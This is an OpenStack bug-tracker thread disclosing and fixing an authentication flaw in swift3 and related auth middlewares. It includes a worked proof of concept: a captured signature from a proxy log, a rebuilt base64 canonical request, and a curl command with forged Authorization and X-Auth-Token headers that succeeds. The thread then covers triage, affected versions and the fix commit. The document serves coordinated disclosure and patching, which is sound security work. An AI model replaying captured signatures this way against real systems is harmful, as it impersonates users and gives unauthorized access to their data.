Client-accessible headers are used to send authentication information to other middlewares

[Tim Burke]

Given knowledge of the HTTP method, path, and headers of a past
request, an attacker can completely impersonate the user from that
request for any method against any path.

For example, suppose a proxy has `access_log_headers = True` enabled in its
proxy-logging filter config. This will produce log lines[1] like

> Mar 21 16:15:16 vagrant-ubuntu-trusty-64 proxy-server: 192.168.8.1 192.168.8.1 21/Mar/2016/16/15/16 GET / HTTP/1.0 200 - Boto/2.38.0%20Python/2.7.10%20Darwin/15.3.0 - - 320 - txc42a4916d3a24438bf06d-0056f01e14 Authorization:%20AWS%20test:tester:TsKSXabzl1wiLlj2UY7OL8bbd4I%3D%0AUser-Agent:%20Boto/2.38.0%20Python/2.7.10%20Darwin/15.3.0%0ADate:%20Mon%2C%2021%20Mar%202016%2016:15:16%20GMT%0AHost:%20saio:8080%0AAccept-Encoding:%20identity%0AContent-Length:%200%0AContent-Type:%20None 0.0126 - - 1458576916.982635975 1458576916.995206118 -

... which includes the method ("GET"), path ("/"), and headers:

  Authorization: AWS test:tester:TsKSXabzl1wiLlj2UY7OL8bbd4I=
  User-Agent: Boto/2.38.0 Python/2.7.10 Darwin/15.3.0
  Date: Mon, 21 Mar 2016 16:15:16 GMT
  Host: saio:8080
  Accept-Encoding: identity
  Content-Length: 0
  Content-Type: None

Using the method ("GET"), path ("/"), and the Date header, an attacker
can construct the AWS-standard "canonical request" and base64 it:

  GET

  Mon, 21 Mar 2016 16:15:16 GMT
  /

Base64 encoded:

  R0VUCgoKTW9uLCAyMSBNYXIgMjAxNiAxNjoxNToxNiBHTVQKLw==

Using this base64-encoded value and the Authorization header from the
original intercepted request, an attacker can create a new request to
a different endpoint. This new request will be successful.

  $ curl -sv http://saio:8080/v1/AUTH_test/container \
    -H 'X-Auth-Token: R0VUCgoKTW9uLCAyMSBNYXIgMjAxNiAxNjoxNToxNiBHTVQKLw==' \
    -H 'Authorization: foo test:tester:TsKSXabzl1wiLlj2UY7OL8bbd4I='
  * Trying 192.168.8.80...
  * Connected to saio (192.168.8.80) port 8080 (#0)
  > GET /v1/AUTH_test/container HTTP/1.1
  > Host: saio:8080
  > User-Agent: curl/7.43.0
  > Accept: */*
  > X-Auth-Token: R0VUCgoKTW9uLCAyMSBNYXIgMjAxNiAxNjoxNToxNiBHTVQKLw==
  > Authorization: foo test:tester:TsKSXabzl1wiLlj2UY7OL8bbd4I=
  >
  < HTTP/1.1 204 No Content
  < Content-Length: 0
  < X-Container-Object-Count: 0
  < Accept-Ranges: bytes
  < X-Storage-Policy: default
  < X-Container-Bytes-Used: 0
  < X-Timestamp: 1458350360.97314
  < Content-Type: text/html; charset=UTF-8
  < X-Trans-Id: tx332c5891eff8445290c1f-0056f0216d
  < Date: Mon, 21 Mar 2016 16:29:33 GMT
  <

The reason this "works" is because of the way the Authorization and
X-Auth-Token headers are parsed by the swift3 middleware and auth
middleware. When Swift3 sees the Authorization header, it checks that
it starts with "AWS". If so, Swift3 assumes it's a request to to be
translated from S3 to Swift and puts the base64-encoded canonical
request into the X-Auth-Token header. The auth system sees the
Authorization header and then goes into S3-validation mode. In this
mode, it decodes the value of the X-Auth-Token header, signs that with
the user's secret key, and compares it to the signature in the
Authorization header. If they match, then the request is authorized.
Importantly, the auth system does not validate that the Authorization
value starts with "AWS". Even if it did, however, a similar exploit
is possible if swift3 is ever removed from the pipeline.

Because of this buggy interaction, the attacker may use this same
Authorization/X-Auth-Token combination to access *any* resource the
user can access, not just the resource from the intercepted request.

Notes:

 * "AWS" has been changed to "foo" in the original Authorization header. This
   ensures Swift3 will treat the request as a Swift (not S3) request [2].
   As a result:
   - Swift3's clock-skew check is bypassed, so any captured request (no matter
     how old) may lead to an exploit.
   - The full "/v1/AUTH_test/container" path is used (rather than the S3-like
     "/container").
 * While Swift3 treats this as a Swift request, all known authentication
   middlewares that support swift3 (s3_token, swauth, and tempauth) will treat
   this as a S3 request. This is because none of them verify the first piece
   of the Authorization header [3].
 * While a proxy-server log was used to demonstrate this attack, comparable
   information may be obtained from client debug logs or man-in-the-middle
   attacks.

Affected Versions:

 * s3_token middleware:
   - keystonemiddleware>=1.0.0
     Patches necessary on master, stable/mitaka, stable/liberty, stable/kilo

   - python-keystoneclient>=0.5.0,<1.8.0
     Patches necessary on stable/liberty, stable/kilo

   - keystone>=2012.1,<2014.2
     No longer supported; no patches necessary

 * swauth middleware:
   - swauth>=1.0.1
     Patch necessary on master only; no stable branches

   - swift>=1.3.0,<1.4.1
     No longer supported; no patches necessary

 * tempauth middleware:
   - swift>=1.4.1
     Patch necessary on master only; tempauth is not expected to be used in
     production.

Proposed Solution:

Swift3 should not use client-accessible headers for cross-middleware
communication. Rather, it should claim its own namespace in the WSGI
environment (say, "swift3.auth_details") and put the access key, signature,
and normalized request there. Note that this would be a breaking API change.

Swift3, like Swauth, does not use stable branches; however, it claims support
for Swift 2.1.0 (Juno). As a result, kilo and liberty deployments can upgrade
to the latest swift3 middleware when upgrading s3_token.

Patches against master for swift3, s3_token, swauth, and tempauth are attached,
as well as a patch against stable/liberty for python-keystoneclient. All of the
master patches have been tested manually; additionally, the combination of the
swift3, s3_token, and tempauth patches allows swift3's functional tests to
pass.

[1] http://swift.openstack.org/logs.html
[2] https://github.com/openstack/swift3/blob/v1.10/swift3/request.py#L161-L167
[3] https://github.com/openstack/keystonemiddleware/blob/4.3.0/keystonemiddleware/s3_token.py#L196
    https://github.com/openstack/swauth/blob/1.1.0/swauth/middleware.py#L316
    https://github.com/openstack/swift/blob/2.6.0/swift/common/middleware/tempauth.py#L396

[John Dickinson (notmyname)]

Because this is an issue in Swift with tempauth, which only exists for testing and is not a production auth system, I do not think this is a security issue in Swift itself.

However, since this is an issue with the interaction of several projects as it relates to S3 access in Swift, and because it's based on the way auth works in Swift, I asked Tim to submit it agains Swift as a coordination point for this bug.

[Grant Murphy (gmurphy)]

Since this report concerns a possible security risk, an incomplete security advisory task has been added while the core security reviewers for the affected project or projects confirm the bug and discuss the scope of any vulnerability along with potential solutions.

[Kota Tsuyuzaki (tsuyuzaki-kota)]

just quick look of description (not tested yet), it looks correct. we may be able to make the hole with current authentication scheme. I'll try to test in my local env and then make a feedback later. Thanks for reporting, Tim.

[Jeremy Stanley (fungi)]

If the bug is really only in the design of Swift3 for this operation and the other changes are merely fixing non-production test tooling (in Swift) or adding support for Swift3's needs (in keystonemiddleware and python-keystoneclient), then the OpenStack VMT won't be issuing an official OpenStack Security Advisory. In that case the Swift3 team is still welcome to still follow our processes documented at https://security.openstack.org/vmt-process.html and the OpenStack VMT can provide access to the list of downstream stakeholders if coordinated disclosure and advance notification are deemed useful.

[Tristan Cacqueray (tristan-cacqueray)]

Is there someone from the swift3 team we can subscribe here ?

[Tim Burke (1-tim-z)]

That basically consists of Kota and I.

I think the main hangup at this point is related bug https://bugs.launchpad.net/keystone/+bug/1566416, which should probably be addressed in tandem as the details from this report greatly aid in discovering the other bug.

[Tim Burke (1-tim-z)]

Rebased the swift3 patch against current master and rolled in the keystonemiddleware patch, since a lot has changed in the last six months.

[Morgan Fainberg (mdrnstm)]

Is there anything still needed in keytstonemiddleware at this point? I'm not sure here, please advise so we can move forward.

Likewise, i think the swift3 patch is sufficient if Tim is happy with it so we can get this released to the wild.

Thanks!

[Tim Burke (1-tim-z)]

s3_token is still present on master in keystonemiddleware, and we don't really have much insight into how quickly/whether deployers have transitioned to using s3_token from swift3. I guess telling them "go use swift3's s3_token instead" could get us out of needing to have any patches for keystonemiddleware? May as well take the opportunity to delete it from master then.

With liberty EOLed, we can drop keystoneclient as being affected.

I'm still not sure whether we should hold and address the other bug at the same time or do them independently. If anyone else has insight, I'd appreciate the input.

[Morgan Fainberg (mdrnstm)]

Ok, droping keystoneclient is the right call and we should roll the patch for KSM then.

Thanks Tim! I'll wrangle some keystone folks (or do it myself) to make sure keystonemiddleware has a proposed patch / working patch asap.

[Tim Burke (1-tim-z)]

Updated the swift3 patch to apply on top of https://review.openstack.org/#/c/406424/7 which will likely land first and makes swift3 tolerate an eventual fix to https://bugs.launchpad.net/keystone/+bug/1566416

[Tim Burke (1-tim-z)]

It seems like we've come to a resolution on the Keystone bug, and I've recently retested the current patches for Swift and Swift3. Barring any objections, I'll propose the Swift patch early next week, land it on master, then backport it to Ocata. After that, we can land the Swift3 patch (as Swift3 now uses Ocata Swift in the gate). Around the same time, I'll get a patch proposed for swauth, and a backport for Newton keystonemiddleware.

[Jeremy Stanley (fungi)]

We still need a determination as to whether this embargoed bug will end in a coordinated OpenStack Security Advisory for swift/keystonemiddleware, or if we're only keeping this report under wraps for now at the request of the swift3 developers. If there is need for an OSSA then we need an impact description and lead time to notify downstream developers before patches are pushed into public code review. Also, making this bug public probably involves making bug 1566416 public too, since some of its details are discussed here.

Input from the Swift and Keystone core security reviewers on these matters would be appreciated.

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.openstack.org/438719
Committed: https://git.openstack.org/cgit/openstack/swift3/commit/?id=cd094eea4a0da214d11b67ee6371629379afee1f
Submitter: Jenkins
Branch: master

commit cd094eea4a0da214d11b67ee6371629379afee1f
Author: Tim Burke <email address hidden>
Date: Mon Mar 21 20:40:41 2016 -0700

    Stop using client headers for cross-middleware communication

    Previously, we would use client-accessible headers to pass the S3 access
    key, signature, and normalized request to authentication middleware.
    Specifically, we would send the following headers:

        Authorization: AWS <access key>:<signature>
        X-Auth-Token: <base64-encoded normalized request>

    However, few authentication middleware would validate that the
    Authorization header actually started with "AWS ", the only prefix that
    Swift3 would actually handle. As a result, the authentication
    middlewares had no way to validate that the normalized request came from
    swift3 rather than the client itself. This leads to a security hole
    wherein an attacker who has captured a single valid request through the
    S3 API or who has obtained a valid pre-signed URL may impersonate the
    user that issued the request or pre-signed URL indefinitely through the
    Swift API.

    Now, the S3 authentication information will be placed in a separate
    namespace in the WSGI environment, completely inaccessible to the
    client. Specifically,

        environ['swift3.auth_details'] = {
            'access_key': <access key>,
            'signature': <signature>,
            'string_to_sign': <normalized request>,
        }

    (Note that the normalized request is no longer base64-encoded.)

    UpgradeImpact

    This is a breaking API change. No currently-deployed authentication
    middlewares will work with this. This patch includes a fix for s3_token
    (used to authenticate against Keystone); any deployers still using
    keystonemiddleware to provide s3_token should switch to using swift3.
    Similar changes are being proposed for Swauth and tempauth. Proprietary
    authentication middlewares will need to be updated to use the new
    environment keys as well. When upgrading Swift3, operators will need to
    upgrade their Swift3-capable authentication middleware at the same time.

    Closes-Bug: 1561199
    Change-Id: Ia3fbb4938f0daa8845cba4137a01cc43bc1a713c
    Depends-On: Ib90adcc2f059adaf203fba1c95b2154561ea7487

[Jeremy Stanley (fungi)]

Since this bug is now public, I'm setting bug 1566416 to public too.

[Tim Burke (1-tim-z)]

Fixed in swift following https://review.openstack.org/#/c/438720/ (which I forgot to link to the bug)

[Tim Burke (1-tim-z)]

Released on master in 2.14.0. Backported to ocata as https://github.com/openstack/swift/commit/302871d so it'll be released there if/when we have a 2.13.2

[Ondřej Nový (onovy)]

[swauth] Released on master in 1.3.0: https://github.com/openstack/swauth/commit/2a84fe7c693ade7c63e5bd59e2f3af5bd40541c9

[Morgan Fainberg (mdrnstm)]

With s3token moved to being maintained outside of KSM, I'm marking this invalid.

[Morgan Fainberg (mdrnstm)]

wont fix*

[Jeremy Stanley (fungi)]

Given fixes for this landed in swift prior to creation of our oldest currently supported stable branches, and keystonemiddleware extracting the problem bits years ago as well, I don't see any reason to publish a security advisory for this. As such, I'm marking our advisory task Won't Fix.